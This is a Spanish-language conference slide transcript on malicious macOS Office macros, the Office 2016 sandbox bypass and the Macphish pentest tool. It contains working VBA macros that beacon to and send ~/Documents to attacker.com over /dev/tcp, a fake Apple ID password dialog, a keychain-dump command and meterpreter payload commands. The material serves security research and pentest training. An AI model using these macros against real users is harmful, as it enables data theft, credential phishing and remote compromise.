old fox new tricks malicious macros are back
TRANSCRIPT
Old fox, new tricks –Malicious OSX/MacOS macros are backPaulino Calderon <@calderpwn>[email protected] - http://calderonpale.com - http://websec.mx
$whoami• Pruebas de Penetración, Análisis de Vulnerabilidades, Revisión de
Código Fuente y Pruebas de Ingeniería Social en Websec (http://websec.mx/).
• Autor de libros con PacktPub (https://www.packtpub.com) y cursos en línea con Pluralsight (https://www.pluralsight.com).
• Me gusta desarrollar software libre, experimentar con tecnologías nuevas y buscar vulnerabilidades en software.
• Chapter leader de OWASP Riviera Maya
Un día nuestro objetivo era una empresa de marketing…
¿De qué vamos a hablar hoy?
• Ataques con macros maliciosos para Mac (OSX/MacOS) ”in the wild”.
• Vectores de ataques en Office 2011.
• Nuevos vectores de ataque contra Office 2016 que funcionan a pesar de las protecciones del sandbox.
• Macphish – Nueva herramienta para generar macros para Mac para pruebas de ingeniería social.
U.S. Allies and Rivals Digest Trump's Victory – Carnegie Endowment for International Peace.docm
• Descubierto en Febrero 2017.
• Al ejecutarse el macro malicioso:
• Verificaba que Little Snitch no estuviera ejecutándose.
• Descargaba Stager de EmPyre.
• Atacantes tenían acceso a todos los módulos de EmPyre.
• Patrick Wardle publicó un análisis en su sitio web. -> https://objective-see.com/blog/blog_0x17.html
• Interesante pero este ataque no funciona si el usuario usa Office 2016.
Un poco de historia…
• Office 2008 for Mac mitigaba los macros maliciosos totalmente… al no soportar VBA.
• En Office 2011 for Mac vuelven a soportar VBA macros.
• Debido a los serios problemas de seguridad, Office 2016 for Mac ahora se ejecuta en un App Sandbox.
• Aunque los usuarios ejecuten el macro, ¡ya no podemos acceder a archivos de usuario/sistema! … ¿O sí?
Versiones de Office en uso en la actualidad
Office 2016Office 2011
Office 2011 vs Office 2016
Macros en OSX/MacOS
• Deben guardarse en un archivo .docm.
• Requieren interacción del usuario.
• No se puede configurar Office para que automáticamente no ejecute macros:
• O ejecuta automáticamente todos los macros.
• O te pregunta cada vez que abres un macro.
Macros multiplataforma
•Condicionales en Office nos permiten crearmacros multiplataforma y detectar la versiónde Office.
•”If Mac” disponible desde Office 2011.
•MAC_OFFICE_VERSION desde Office 2016.
Macros multiplataforma
Ejecución de código malicioso con System()
• En OSX/MacOS es posible ejecutar código malicioso utilizando la función System() de libc.dylib.
Problemas utilizando System()
• Está técnica presenta ciertas desventajas:
• Requiere soportar ambas versiones (32/64 bits).
• No funciona en todos los sistemas.
Abusando Macscript
• La función de VBA Macscript() fue diseñada para ejecutar scripts Applescript en documentos de Mac.
• Deprecada pero aún funciona en Office 2016.
• Office 2016 requiere que los scripts sean colocados en una carpeta específica. Esto principalmente para evitar que macros descarguen scripts adicionales y los ejecuten.
• Sin embargo, es posible abusar Macscript para ejecutar binarios del sistema.
• Ojo: No todos los binarios son permitidos.
Ejecutando binarios con Macscript
Sub AutoOpen()MacScript ("do shell script ""<binary>"" ")
End Sub
No todos los binarios son iguales
• Office 2016 no permite la ejecución de cualquier binario. Sin embargo, podemos invocar:
• Utilidades: curl, tar, xxd, ping, nslookup y osascript.
• Interpretes de programación: Python, Ruby, Perl.
• Si el binario no está permitido, el sistema regresa esteerror:
Abusando utilidades de sistemaPhone Home
Utilidades clásicas como ping o curl pueden ser utilizadascomo beacons de notificación.
Sub AutoOpen()
MacScript ("do shell script ""ping -c 1 attacker.com"" ")
End Sub
Abusando utilidades de sistemaExfiltrando datos de usuario
Además tenemos acceso a sockets directamente: /dev/tcp/atacante.com/443
Entonces también podemos comprimir la carpeta de Documentos de usuario y enviarnosla:
Sub AutoOpen()MacScript ("do shell script ""tar zcf - ~/Documents | xxd -p >/dev/tcp/attacker.com/443"" ")End Sub
Abusando osascript
• Osascript es una utilidad disponible en todas las Macs que sirve para ejecutar scripts en Applescript.
• A pesar de que eventos de sistema están bloqueados, tenemos acceso a funcionalidad para crear diálogos, acceder al portapapeles y obtener información del sistema.
Phishing de credenciales con osascript
Podemos utilizar diálogos para engañar a usuarios a que introduzcan sus credenciales y las enviamos utilizando alguna de las técnicas descritas anteriormente.
Phishing de credenciales con Macscript
MacScript("do shell script ""/usr/bin/osascript -e 'display dialog \""Microsoft Word requiere de tucontraseña de tu Apple ID para descifrar el archivo\"" & return & return default answer \""\"" with icon file \""Applications:Utilities:KeychainAccess.app:Contents:Resources:AppIcon.icns\"" with hidden answer with title \""Microsoft Word\""'""")
https://drive.google.com/open?id=0BzPR8exG0kt6WWUzU0tKUjFhdjg
VIDEO
Phishing de credenciales con osascript
• Funciona en Office 2011/2016.
• Localmente también puede ser ejecutado:
http://fuzzynop.blogspot.com/2014/10/osascript-for-local-phishing.html
• Ahora también implementado en otras herramientas:
• Bash Bunny
https://github.com/hak5/bashbunny-payloads/tree/master/payloads/library/phishing/MacPhish
• EmPyre
https://medium.com/@malcomvetter/multi-platform-macro-phishing-payloads-3b688e8eff68
Phishing de credenciales con osascript
• Se puede personalizar los diálogos con íconos de aplicaciones en el sistema.
• Applications:Utilities:KeychainAccess.app:Contents:Resources:AppIcon.icns
Abusando de los interpretes de lenguajes de programación
Podemos ejecutar código utilizando interpretes de lenguajes de programación (Python/Ruby/Perl):
Sub AutoOpen()MacScript ("do shell script ""python -c <payload>"" ")
End Sub
Abusando de los interpretes de lenguajes de programación
https://drive.google.com/open?id=0BzPR8exG0kt6TlY1UWhiemVKRnc
VIDEO
Atacando Office 2011 for Mac
Persistencia
cronjob
Dylib-hijack
Launch daemon
Login hook
Exfiltración
Curl/wget
Tar/xxd
TCP sockets
C&C
EmPyre
Meterpreter
Phishing
osascript
VBA
Macros para Office 2016
• El sandbox de Office 2016 bloquea el acceso a cualquier recurso no definido en las políticas de seguridad.
• Aunque los usuarios habiliten la ejecución de macros, la mayoría de malware no va a funcionar en Office 2016.
• No se conocían vectores de ataque que funcionaran contra Office 2016.
El sandbox de Office 2016
¿Qué podemos hacer si nos enfrentamos a usuarios con Office 2016?
Abusando de GrantAccessToMultipleFiles
• Office 2016 introdujo un par de funciones nuevas entre ellas GrantAccessToMultipleFiles().
• GrantAccessToMultipleFiles recibe un arreglo de archivos en el sistema y solicita permisos de acceso.
• ¡La documentación no dice nada de que carpetas también son soportadas! ¿Para qué solicitar individualmente acceso a archivos si le podemos pedir acceso a toda la carpeta?
• One shot: Solo tenemos una oportunidad porque la selección del usuario es guardada para siempre.
• Esto tiene muchas implicaciones de las cuales hablaremos más adelante.
Abusando de GrantAccessToMultipleFiles
Abusando de GrantAccessToMultipleFiles
Sub AutoOpen()GrantAccessToMultipleFiles(”/Users/<usuario>/Documents”)MacScript ("do shell script ""python -c <payload>"" ")
End Sub
https://drive.google.com/open?id=0BzPR8exG0kt6VzlaWVVJdEtNR0k
VIDEO
Abusando GrantAccessToMultipleFilesPermisos globales
Debido a que el dialogo se presenta una sola vez y los permisos son asignados para siempre:
• Si el usuario otorga los permisos, cualquier macro que se ejecute en el sistema tendrá acceso a esos archivos. Si los usuarios ya habían permitido a un macro legitimo acceder a estos archivos, nuestro macro malicioso también tendría acceso a esos archivos.
https://drive.google.com/open?id=0BzPR8exG0kt6SnJwM01KSzAzMjA
VIDEO
Abusando GrantAccessToMultipleFilesDenegación de Servicio Permanente (DoS)
• Si el usuario no otorga los permisos, macros legítimos no podrán acceder a esos archivos posteriormente.
• No existe una interfaz para administrar estos permisos. La respuesta de la primera petición se usa para siempre.
• Posible Denegación de Servicio permanente.
Preparando los payloads maliciosos
• Payload script en Applescript debe ser escapado para ejecutarse inline a través de osascript. Debemos considerar VBA escapingtambién.
• GrantAccessToMultipleFiles requiere saber la ruta completa al directorio del usuario objetivo. (Cambia de objetivo a objetivo)
• La ruta también la podemos obtener abusando de osascript
Macphish – Generador de macros maliciosospara pruebas de ingeniería social
https://github.com/cldrn/macphish
Macphish
• Genera scripts en Applescript para pruebas de ingeniería social.
• Plantillas de macros multiplataforma.
• Nombres de funciones aleatorios.
• Payloads de meterpreter y Empyre (*).
• Configuración automática de entorno de usuario.
https://github.com/cldrn/macphish
Macphish - Beacon
• Payload no malicioso que simplemente envía señal a casa sobre su ejecución. (”Phone home”)
• Útil para estadísticas sobre ejecución de macros.
• Funciona en Office 2011 y Office 2016.
https://github.com/cldrn/macphish
$./macphish.py –a beacon –lh <host>
https://github.com/cldrn/macphish
Macphish - Creds
• Payload para intentar obtener credenciales locales de usuarios.
• Utiliza funcionalidad de diálogos de osascript para realizar el ataque de phishing.
• Funciona en Office 2011 y Office 2016.
https://github.com/cldrn/macphish
$./macphish.py –a creds -m –lh <host>
https://github.com/cldrn/macphish
Macphish - Meterpreter
• Payload para obtener shell de meterpreter en víctimas.
• Utiliza payloads en python.
• Funciona en Office 2011 sin restricciones.
• Office 2016 quedamos dentro del sandbox ->
https://github.com/cldrn/macphish
$./macphish.py –a meterpreter –lh <host> -lp <port> -m
https://github.com/cldrn/macphish
Macphish – Meterpreter c/ GrantAccessToMultipleFiles()
• Payload para solicitar permisos a los Documentos de usuarios antes de ejecutar una shell de meterpreter.
• En Office 2016 saltamos el sandbox si:
• La víctima autoriza (o autorizó a otro archivo) el acceso a los documentos.
• El documento se encuentra dentro de la ruta que solicita. (*)
https://github.com/cldrn/macphish
$./macphish.py –a meterpreter-grant –lh <host> -lp <port> -m
https://github.com/cldrn/macphish
https://drive.google.com/open?id=0BzPR8exG0kt6TDJ5OGt6LVNLT28
VIDEO
Ideas adicionales
• Automatizar la persistencia.
• Elevación de privilegios a través de vulnerabilidades del sistema.
• Dumpeo de contraseñas a través del keychain.• MacScript("do shell script ""security dump-keychain -d login.keychain"" ")
Ligas
• Documentación de macphish
https://github.com/cldrn/macphish/wiki
• Websec:
http://websec.mx/blog/ver/mac-macros-y-macphish
• App Sandbox:
https://developer.apple.com/library/content/documentation/Security/Conceptual/AppSandboxDesignGuide/AboutAppSandbox/AboutAppSandbox.html
• VBA improvements in Office 2016:
https://dev.office.com/blogs/VBA-improvements-in-Office-2016
• Credential phishing in Empyre:
https://medium.com/@malcomvetter/multi-platform-macro-phishing-payloads-3b688e8eff68
¡Gracias! ¿Preguntas?
Paulino Calderon <@calderpwn>[email protected] - http://calderonpale.com - http://websec.mx